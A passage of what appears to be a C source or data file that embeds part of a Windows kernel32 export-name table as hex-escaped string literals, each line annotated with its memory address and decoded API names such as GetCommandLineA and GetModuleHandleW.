\"\\x6E\\x61\\x72\\x79\\x54\\x79\\x70\\x65\\x00\\x47\\x65\\x74\\x42\\x69\\x6E\\x61\" // naryType.GetBina\n/* 7C805DF0 */ \"\\x72\\x79\\x54\\x79\\x70\\x65\\x41\\x00\\x47\\x65\\x74\\x42\\x69\\x6E\\x61\\x72\" // ryTypeA.GetBinar\n/* 7C805E00 */ \"\\x79\\x54\\x79\\x70\\x65\\x57\\x00\\x47\\x65\\x74\\x43\\x50\\x46\\x69\\x6C\\x65\" // yTypeW.GetCPFile\n/* 7C805E10 */ \"\\x4E\\x61\\x6D\\x65\\x46\\x72\\x6F\\x6D\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x79\" // NameFromRegistry\n/* 7C805E20 */ \"\\x00\\x47\\x65\\x74\\x43\\x50\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x43\\x50\" // .GetCPInfo.GetCP\n/* 7C805E30 */ \"\\x49\\x6E\\x66\\x6F\\x45\\x78\\x41\\x00\\x47\\x65\\x74\\x43\\x50\\x49\\x6E\\x66\" // InfoExA.GetCPInf\n/* 7C805E40 */ \"\\x6F\\x45\\x78\\x57\\x00\\x47\\x65\\x74\\x43\\x61\\x6C\\x65\\x6E\\x64\\x61\\x72\" // oExW.GetCalendar\n/* 7C805E50 */ \"\\x49\\x6E\\x66\\x6F\\x41\\x00\\x47\\x65\\x74\\x43\\x61\\x6C\\x65\\x6E\\x64\\x61\" // InfoA.GetCalenda\n/* 7C805E60 */ \"\\x72\\x49\\x6E\\x66\\x6F\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x50\\x6C\\x75\" // rInfoW.GetComPlu\n/* 7C805E70 */ \"\\x73\\x50\\x61\\x63\\x6B\\x61\\x67\\x65\\x49\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x53\" // sPackageInstallS\n/* 7C805E80 */ \"\\x74\\x61\\x74\\x75\\x73\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x43\\x6F\\x6E\" // tatus.GetCommCon\n/* 7C805E90 */ \"\\x66\\x69\\x67\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x4D\\x61\\x73\\x6B\\x00\" // fig.GetCommMask.\n/* 7C805EA0 */ \"\\x47\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x4D\\x6F\\x64\\x65\\x6D\\x53\\x74\\x61\\x74\" // GetCommModemStat\n/* 7C805EB0 */ \"\\x75\\x73\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x50\\x72\\x6F\\x70\\x65\\x72\" // us.GetCommProper\n/* 7C805EC0 */ \"\\x74\\x69\\x65\\x73\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x53\\x74\\x61\\x74\" // ties.GetCommStat\n/* 7C805ED0 */ \"\\x65\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x54\\x69\\x6D\\x65\\x6F\\x75\\x74\" // e.GetCommTimeout\n/* 7C805EE0 */ \"\\x73\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x4C\\x69\\x6E\\x65\" // s.GetCommandLine\n/* 7C805EF0 */ \"\\x41\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x4C\\x69\\x6E\\x65\" // A.GetCommandLine\n/* 7C805F00 */ \"\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x70\\x72\\x65\\x73\\x73\\x65\\x64\\x46\" // W.GetCompressedF\n/* 7C805F10 */ \"\\x69\\x6C\\x65\\x53\\x69\\x7A\\x65\\x41\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x70\" // ileSizeA.GetComp\n/* 7C805F20 */ \"\\x72\\x65\\x73\\x73\\x65\\x64\\x46\\x69\\x6C\\x65\\x53\\x69\\x7A\\x65\\x57\\x00\" // ressedFileSizeW.\n/* 7C805F30 */ \"\\x47\\x65\\x74\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\\x61\\x6D\\x65\\x41\" // GetComputerNameA\n/* 7C805F40 */ \"\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\\x61\\x6D\\x65\" // .GetComputerName\n/* 7C805F50 */ \"\\x45\\x78\\x41\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\" // ExA.GetComputerN\n/* 7C805F60 */ \"\\x61\\x6D\\x65\\x45\\x78\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6D\\x70\\x75\\x74\" // ameExW.GetComput\n/* 7C805F70 */ \"\\x65\\x72\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\" // erNameW.GetConso\n/* 7C805F80 */ \"\\x6C\\x65\\x41\\x6C\\x69\\x61\\x73\\x41\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\" // leAliasA.GetCons\n/* 7C805F90 */ \"\\x6F\\x6C\\x65\\x41\\x6C\\x69\\x61\\x73\\x45\\x78\\x65\\x73\\x41\\x00\\x47\\x65\" // oleAliasExesA.Ge\n/* 7C805FA0 */ \"\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x41\\x6C\\x69\\x61\\x73\\x45\\x78\\x65\" // tConsoleAliasExe\n/* 7C805FB0 */ \"\\x73\\x4C\\x65\\x6E\\x67\\x74\\x68\\x41\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\" // sLengthA.GetCons\n/* 7C805FC0 */ \"\\x6F\\x6C\\x65\\x41\\x6C\\x69\\x61\\x73\\x45\\x78\\x65\\x73\\x4C\\x65\\x6E\\x67\" // oleAliasExesLeng\n/* 7C805FD0 */ \"\\x74\\x68\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x41\\x6C\" // thW.GetConsoleAl\n/* 7C805FE0 */ \"\\x69\\x61\\x73\\x45\\x78\\x65\\x73\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\" // iasExesW.GetCons\n/* 7C805FF0 */ \"\\x6F\\x6C\\x65\\x41\\x6C\\x69\\x61\\x73\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\" // oleAliasW.GetCon\n/* 7C806000 */ \"\\x73\\x6F\\x6C\\x65\\x41\\x6C\\x69\\x61\\x73\\x65\\x73\\x41\\x00\\x47\\x65\\x74\" // soleAliasesA.Get\n/* 7C806010 */ \"\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x41\\x6C\\x69\\x61\\x73\\x65\\x73\\x4C\\x65\" // ConsoleAliasesLe\n/* 7C806020 */ \"\\x6E\\x67\\x74\\x68\\x41\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\" // ngthA.GetConsole\n/* 7C806030 */ \"\\x41\\x6C\\x69\\x61\\x73\\x65\\x73\\x4C\\x65\\x6E\\x67\\x74\\x68\\x57\\x00\\x47\" // AliasesLengthW.G\n/* 7C806040 */ \"\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x41\\x6C\\x69\\x61\\x73\\x65\\x73\" // etConsoleAliases\n/* 7C806050 */ \"\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x50\\x00\\x47\" // W.GetConsoleCP.G\n/* 7C806060 */ \"\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x68\\x61\\x72\\x54\\x79\\x70\" // etConsoleCharTyp\n/* 7C806070 */ \"\\x65\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x6F\\x6D\\x6D\" // e.GetConsoleComm\n/* 7C806080 */ \"\\x61\\x6E\\x64\\x48\\x69\\x73\\x74\\x6F\\x72\\x79\\x41\\x00\\x47\\x65\\x74\\x43\" // andHistoryA.GetC\n/* 7C806090 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x48\\x69\\x73\" // onsoleCommandHis\n/* 7C8060A0 */ \"\\x74\\x6F\\x72\\x79\\x4C\\x65\\x6E\\x67\\x74\\x68\\x41\\x00\\x47\\x65\\x74\\x43\" // toryLengthA.GetC\n/* 7C8060B0 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x48\\x69\\x73\" // onsoleCommandHis\n/* 7C8060C0 */ \"\\x74\\x6F\\x72\\x79\\x4C\\x65\\x6E\\x67\\x74\\x68\\x57\\x00\\x47\\x65\\x74\\x43\" // toryLengthW.GetC\n/* 7C8060D0 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x48\\x69\\x73\" // onsoleCommandHis\n/* 7C8060E0 */ \"\\x74\\x6F\\x72\\x79\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\" // toryW.GetConsole\n/* 7C8060F0 */ \"\\x43\\x75\\x72\\x73\\x6F\\x72\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x43\\x6F\" // CursorInfo.GetCo\n/* 7C806100 */ \"\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x75\\x72\\x73\\x6F\\x72\\x4D\\x6F\\x64\\x65\\x00\" // nsoleCursorMode.\n/* 7C806110 */ \"\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\" // GetConsoleDispla\n/* 7C806120 */ \"\\x79\\x4D\\x6F\\x64\\x65\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\" // yMode.GetConsole\n/* 7C806130 */ \"\\x46\\x6F\\x6E\\x74\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\" // FontInfo.GetCons\n/* 7C806140 */ \"\\x6F\\x6C\\x65\\x46\\x6F\\x6E\\x74\\x53\\x69\\x7A\\x65\\x00\\x47\\x65\\x74\\x43\" // oleFontSize.GetC\n/* 7C806150 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x48\\x61\\x72\\x64\\x77\\x61\\x72\\x65\\x53\\x74\" // onsoleHardwareSt\n/* 7C806160 */ \"\\x61\\x74\\x65\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x6E\" // ate.GetConsoleIn\n/* 7C806170 */ \"\\x70\\x75\\x74\\x45\\x78\\x65\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\\x74\\x43\" // putExeNameA.GetC\n/* 7C806180 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x6E\\x70\\x75\\x74\\x45\\x78\\x65\\x4E\\x61\" // onsoleInputExeNa\n/* 7C806190 */ \"\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x6E\" // meW.GetConsoleIn\n/* 7C8061A0 */ \"\\x70\\x75\\x74\\x57\\x61\\x69\\x74\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x47\\x65\" // putWaitHandle.Ge\n/* 7C8061B0 */ \"\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4B\\x65\\x79\\x62\\x6F\\x61\\x72\\x64\" // tConsoleKeyboard\n/* 7C8061C0 */ \"\\x4C\\x61\\x79\\x6F\\x75\\x74\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\\x74\\x43\" // LayoutNameA.GetC\n/* 7C8061D0 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4B\\x65\\x79\\x62\\x6F\\x61\\x72\\x64\\x4C\\x61\" // onsoleKeyboardLa\n/* 7C8061E0 */ \"\\x79\\x6F\\x75\\x74\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\" // youtNameW.GetCon\n/* 7C8061F0 */ \"\\x73\\x6F\\x6C\\x65\\x4D\\x6F\\x64\\x65\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\" // soleMode.GetCons\n/* 7C806200 */ \"\\x6F\\x6C\\x65\\x4E\\x6C\\x73\\x4D\\x6F\\x64\\x65\\x00\\x47\\x65\\x74\\x43\\x6F\" // oleNlsMode.GetCo\n/* 7C806210 */ \"\\x6E\\x73\\x6F\\x6C\\x65\\x4F\\x75\\x74\\x70\\x75\\x74\\x43\\x50\\x00\\x47\\x65\" // nsoleOutputCP.Ge\n/* 7C806220 */ \"\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x4C\" // tConsoleProcessL\n/* 7C806230 */ \"\\x69\\x73\\x74\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x53\\x63\" // ist.GetConsoleSc\n/* 7C806240 */ \"\\x72\\x65\\x65\\x6E\\x42\\x75\\x66\\x66\\x65\\x72\\x49\\x6E\\x66\\x6F\\x00\\x47\" // reenBufferInfo.G\n/* 7C806250 */ \"\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x53\\x65\\x6C\\x65\\x63\\x74\\x69\" // etConsoleSelecti\n/* 7C806260 */ \"\\x6F\\x6E\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\" // onInfo.GetConsol\n/* 7C806270 */ \"\\x65\\x54\\x69\\x74\\x6C\\x65\\x41\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\" // eTitleA.GetConso\n/* 7C806280 */ \"\\x6C\\x65\\x54\\x69\\x74\\x6C\\x65\\x57\\x00\\x47\\x65\\x74\\x43\\x6F\\x6E\\x73\" // leTitleW.GetCons\n/* 7C806290 */ \"\\x6F\\x6C\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x47\\x65\\x74\\x43\\x75\\x72\" // oleWindow.GetCur\n/* 7C8062A0 */ \"\\x72\\x65\\x6E\\x63\\x79\\x46\\x6F\\x72\\x6D\\x61\\x74\\x41\\x00\\x47\\x65\\x74\" // rencyFormatA.Get\n/* 7C8062B0 */ \"\\x43\\x75\\x72\\x72\\x65\\x6E\\x63\\x79\\x46\\x6F\\x72\\x6D\\x61\\x74\\x57\\x00\" // CurrencyFormatW.\n/* 7C8062C0 */ \"\\x47\\x65\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x41\\x63\\x74\\x43\\x74\\x78\" // GetCurrentActCtx\n/* 7C8062D0 */ \"\\x00\\x47\\x65\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x43\\x6F\\x6E\\x73\\x6F\" // .GetCurrentConso\n/* 7C8062E0 */ \"\\x6C\\x65\\x46\\x6F\\x6E\\x74\\x00\\x47\\x65\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\" // leFont.GetCurren\n/* 7C8062F0 */ \"\\x74\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x41\\x00\\x47\\x65\\x74\\x43\" // tDirectoryA.GetC\n/* 7C806300 */ \"\\x75\\x72\\x72\\x65\\x6E\\x74\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x57\" // urrentDirectoryW\n/* 7C806310 */ \"\\x00\\x47\\x65\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x50\\x72\\x6F\\x63\\x65\" // .GetCurrentProce\n/* 7C806320 */ \"\\x73\\x73\\x00\\x47\\x65\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x50\\x72\\x6F\" // ss.GetCurrentPro\n/* 7C806330 */ \"\\x63\\x65\\x73\\x73\\x49\\x64\\x00\\x47\\x65\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\" // cessId.GetCurren\n/* 7C806340 */ \"\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x47\\x65\\x74\\x43\\x75\\x72\\x72\\x65\" // tThread.GetCurre\n/* 7C806350 */ \"\\x6E\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x49\\x64\\x00\\x47\\x65\\x74\\x44\\x61\" // ntThreadId.GetDa\n/* 7C806360 */ \"\\x74\\x65\\x46\\x6F\\x72\\x6D\\x61\\x74\\x41\\x00\\x47\\x65\\x74\\x44\\x61\\x74\" // teFormatA.GetDat\n/* 7C806370 */ \"\\x65\\x46\\x6F\\x72\\x6D\\x61\\x74\\x57\\x00\\x47\\x65\\x74\\x44\\x65\\x66\\x61\" // eFormatW.GetDefa\n/* 7C806380 */ \"\\x75\\x6C\\x74\\x43\\x6F\\x6D\\x6D\\x43\\x6F\\x6E\\x66\\x69\\x67\\x41\\x00\\x47\" // ultCommConfigA.G\n/* 7C806390 */ \"\\x65\\x74\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x43\\x6F\\x6D\\x6D\\x43\\x6F\\x6E\" // etDefaultCommCon\n/* 7C8063A0 */ \"\\x66\\x69\\x67\\x57\\x00\\x47\\x65\\x74\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x53\" // figW.GetDefaultS\n/* 7C8063B0 */ \"\\x6F\\x72\\x74\\x6B\\x65\\x79\\x53\\x69\\x7A\\x65\\x00\\x47\\x65\\x74\\x44\\x65\" // ortkeySize.GetDe\n/* 7C8063C0 */ \"\\x76\\x69\\x63\\x65\\x50\\x6F\\x77\\x65\\x72\\x53\\x74\\x61\\x74\\x65\\x00\\x47\" // vicePowerState.G\n/* 7C8063D0 */ \"\\x65\\x74\\x44\\x69\\x73\\x6B\\x46\\x72\\x65\\x65\\x53\\x70\\x61\\x63\\x65\\x41\" // etDiskFreeSpaceA\n/* 7C8063E0 */ \"\\x00\\x47\\x65\\x74\\x44\\x69\\x73\\x6B\\x46\\x72\\x65\\x65\\x53\\x70\\x61\\x63\" // .GetDiskFreeSpac\n/* 7C8063F0 */ \"\\x65\\x45\\x78\\x41\\x00\\x47\\x65\\x74\\x44\\x69\\x73\\x6B\\x46\\x72\\x65\\x65\" // eExA.GetDiskFree\n/* 7C806400 */ \"\\x53\\x70\\x61\\x63\\x65\\x45\\x78\\x57\\x00\\x47\\x65\\x74\\x44\\x69\\x73\\x6B\" // SpaceExW.GetDisk\n/* 7C806410 */ \"\\x46\\x72\\x65\\x65\\x53\\x70\\x61\\x63\\x65\\x57\\x00\\x47\\x65\\x74\\x44\\x6C\" // FreeSpaceW.GetDl\n/* 7C806420 */ \"\\x6C\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x41\\x00\\x47\\x65\\x74\\x44\" // lDirectoryA.GetD\n/* 7C806430 */ \"\\x6C\\x6C\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x57\\x00\\x47\\x65\\x74\" // llDirectoryW.Get\n/* 7C806440 */ \"\\x44\\x72\\x69\\x76\\x65\\x54\\x79\\x70\\x65\\x41\\x00\\x47\\x65\\x74\\x44\\x72\" // DriveTypeA.GetDr\n/* 7C806450 */ \"\\x69\\x76\\x65\\x54\\x79\\x70\\x65\\x57\\x00\\x47\\x65\\x74\\x45\\x6E\\x76\\x69\" // iveTypeW.GetEnvi\n/* 7C806460 */ \"\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x73\\x00\\x47\" // ronmentStrings.G\n/* 7C806470 */ \"\\x65\\x74\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x53\\x74\\x72\" // etEnvironmentStr\n/* 7C806480 */ \"\\x69\\x6E\\x67\\x73\\x41\\x00\\x47\\x65\\x74\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\" // ingsA.GetEnviron\n/* 7C806490 */ \"\\x6D\\x65\\x6E\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x73\\x57\\x00\\x47\\x65\\x74\" // mentStringsW.Get\n/* 7C8064A0 */ \"\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x72\\x69\\x61\" // EnvironmentVaria\n/* 7C8064B0 */ \"\\x62\\x6C\\x65\\x41\\x00\\x47\\x65\\x74\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\" // bleA.GetEnvironm\n/* 7C8064C0 */ \"\\x65\\x6E\\x74\\x56\\x61\\x72\\x69\\x61\\x62\\x6C\\x65\\x57\\x00\\x47\\x65\\x74\" // entVariableW.Get\n/* 7C8064D0 */ \"\\x45\\x78\\x69\\x74\\x43\\x6F\\x64\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\" // ExitCodeProcess.\n/* 7C8064E0 */ \"\\x47\\x65\\x74\\x45\\x78\\x69\\x74\\x43\\x6F\\x64\\x65\\x54\\x68\\x72\\x65\\x61\" // GetExitCodeThrea\n/* 7C8064F0 */ \"\\x64\\x00\\x47\\x65\\x74\\x45\\x78\\x70\\x61\\x6E\\x64\\x65\\x64\\x4E\\x61\\x6D\" // d.GetExpandedNam\n/* 7C806500 */ \"\\x65\\x41\\x00\\x47\\x65\\x74\\x45\\x78\\x70\\x61\\x6E\\x64\\x65\\x64\\x4E\\x61\" // eA.GetExpandedNa\n/* 7C806510 */ \"\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x41\\x74\\x74\\x72\\x69\" // meW.GetFileAttri\n/* 7C806520 */ \"\\x62\\x75\\x74\\x65\\x73\\x41\\x00\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x41\\x74\" // butesA.GetFileAt\n/* 7C806530 */ \"\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x45\\x78\\x41\\x00\\x47\\x65\\x74\\x46\" // tributesExA.GetF\n/* 7C806540 */ \"\\x69\\x6C\\x65\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x45\\x78\\x57\" // ileAttributesExW\n/* 7C806550 */ \"\\x00\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\" // .GetFileAttribut\n/* 7C806560 */ \"\\x65\\x73\\x57\\x00\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x49\\x6E\\x66\\x6F\\x72\" // esW.GetFileInfor\n/* 7C806570 */ \"\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x42\\x79\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x47\" // mationByHandle.G\n/* 7C806580 */ \"\\x65\\x74\\x46\\x69\\x6C\\x65\\x53\\x69\\x7A\\x65\\x00\\x47\\x65\\x74\\x46\\x69\" // etFileSize.GetFi\n/* 7C806590 */ \"\\x6C\\x65\\x53\\x69\\x7A\\x65\\x45\\x78\\x00\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\" // leSizeEx.GetFile\n/* 7C8065A0 */ \"\\x54\\x69\\x6D\\x65\\x00\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x54\\x79\\x70\\x65\" // Time.GetFileType\n/* 7C8065B0 */ \"\\x00\\x47\\x65\\x74\\x46\\x69\\x72\\x6D\\x77\\x61\\x72\\x65\\x45\\x6E\\x76\\x69\" // .GetFirmwareEnvi\n/* 7C8065C0 */ \"\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x72\\x69\\x61\\x62\\x6C\\x65\\x41\" // ronmentVariableA\n/* 7C8065D0 */ \"\\x00\\x47\\x65\\x74\\x46\\x69\\x72\\x6D\\x77\\x61\\x72\\x65\\x45\\x6E\\x76\\x69\" // .GetFirmwareEnvi\n/* 7C8065E0 */ \"\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x72\\x69\\x61\\x62\\x6C\\x65\\x57\" // ronmentVariableW\n/* 7C8065F0 */ \"\\x00\\x47\\x65\\x74\\x46\\x75\\x6C\\x6C\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\\x65\" // .GetFullPathName\n/* 7C806600 */ \"\\x41\\x00\\x47\\x65\\x74\\x46\\x75\\x6C\\x6C\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\" // A.GetFullPathNam\n/* 7C806610 */ \"\\x65\\x57\\x00\\x47\\x65\\x74\\x47\\x65\\x6F\\x49\\x6E\\x66\\x6F\\x41\\x00\\x47\" // eW.GetGeoInfoA.G\n/* 7C806620 */ \"\\x65\\x74\\x47\\x65\\x6F\\x49\\x6E\\x66\\x6F\\x57\\x00\\x47\\x65\\x74\\x48\\x61\" // etGeoInfoW.GetHa\n/* 7C806630 */ \"\\x6E\\x64\\x6C\\x65\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\\x47\\x65\\x74\\x48\" // ndleContext.GetH\n/* 7C806640 */ \"\\x61\\x6E\\x64\\x6C\\x65\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\" // andleInformation\n/* 7C806650 */ \"\\x00\\x47\\x65\\x74\\x4C\\x61\\x72\\x67\\x65\\x73\\x74\\x43\\x6F\\x6E\\x73\\x6F\" // .GetLargestConso\n/* 7C806660 */ \"\\x6C\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\\x53\\x69\\x7A\\x65\\x00\\x47\\x65\\x74\" // leWindowSize.Get\n/* 7C806670 */ \"\\x4C\\x61\\x73\\x74\\x45\\x72\\x72\\x6F\\x72\\x00\\x47\\x65\\x74\\x4C\\x69\\x6E\" // LastError.GetLin\n/* 7C806680 */ \"\\x67\\x75\\x69\\x73\\x74\\x4C\\x61\\x6E\\x67\\x53\\x69\\x7A\\x65\\x00\\x47\\x65\" // guistLangSize.Ge\n/* 7C806690 */ \"\\x74\\x4C\\x6F\\x63\\x61\\x6C\\x54\\x69\\x6D\\x65\\x00\\x47\\x65\\x74\\x4C\\x6F\" // tLocalTime.GetLo\n/* 7C8066A0 */ \"\\x63\\x61\\x6C\\x65\\x49\\x6E\\x66\\x6F\\x41\\x00\\x47\\x65\\x74\\x4C\\x6F\\x63\" // caleInfoA.GetLoc\n/* 7C8066B0 */ \"\\x61\\x6C\\x65\\x49\\x6E\\x66\\x6F\\x57\\x00\\x47\\x65\\x74\\x4C\\x6F\\x67\\x69\" // aleInfoW.GetLogi\n/* 7C8066C0 */ \"\\x63\\x61\\x6C\\x44\\x72\\x69\\x76\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x73\\x41\" // calDriveStringsA\n/* 7C8066D0 */ \"\\x00\\x47\\x65\\x74\\x4C\\x6F\\x67\\x69\\x63\\x61\\x6C\\x44\\x72\\x69\\x76\\x65\" // .GetLogicalDrive\n/* 7C8066E0 */ \"\\x53\\x74\\x72\\x69\\x6E\\x67\\x73\\x57\\x00\\x47\\x65\\x74\\x4C\\x6F\\x67\\x69\" // StringsW.GetLogi\n/* 7C8066F0 */ \"\\x63\\x61\\x6C\\x44\\x72\\x69\\x76\\x65\\x73\\x00\\x47\\x65\\x74\\x4C\\x6F\\x6E\" // calDrives.GetLon\n/* 7C806700 */ \"\\x67\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\\x74\\x4C\\x6F\" // gPathNameA.GetLo\n/* 7C806710 */ \"\\x6E\\x67\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x4D\" // ngPathNameW.GetM\n/* 7C806720 */ \"\\x61\\x69\\x6C\\x73\\x6C\\x6F\\x74\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\\x74\\x4D\" // ailslotInfo.GetM\n/* 7C806730 */ \"\\x6F\\x64\\x75\\x6C\\x65\\x46\\x69\\x6C\\x65\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\" // oduleFileNameA.G\n/* 7C806740 */ \"\\x65\\x74\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x46\\x69\\x6C\\x65\\x4E\\x61\\x6D\\x65\" // etModuleFileName\n/* 7C806750 */ \"\\x57\\x00\\x47\\x65\\x74\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x48\\x61\\x6E\\x64\\x6C\" // W.GetModuleHandl\n/* 7C806760 */ \"\\x65\\x41\\x00\\x47\\x65\\x74\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x48\\x61\\x6E\\x64\" // eA.GetModuleHand\n/* 7C806770 */ \"\\x6C\\x65\\x45\\x78\\x41\\x00\\x47\\x65\\x74\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x48\" // leExA.GetModuleH\n/* 7C806780 */ \"\\x61\\x6E\\x64\\x6C\\x65\\x45\\x78\\x57\\x00\\x47\\x65\\x74\\x4D\\x6F\\x64\\x75\" // andleExW.GetModu\n/* 7C806790 */ \"\\x6C\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x57\\x00\\x47\\x65\\x74\\x4E\\x61\\x6D\" // leHandleW.GetNam\n/* 7C8067A0 */ \"\\x65\\x64\\x50\\x69\\x70\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x53\\x74\\x61\\x74\" // edPipeHandleStat\n/* 7C8067B0 */ 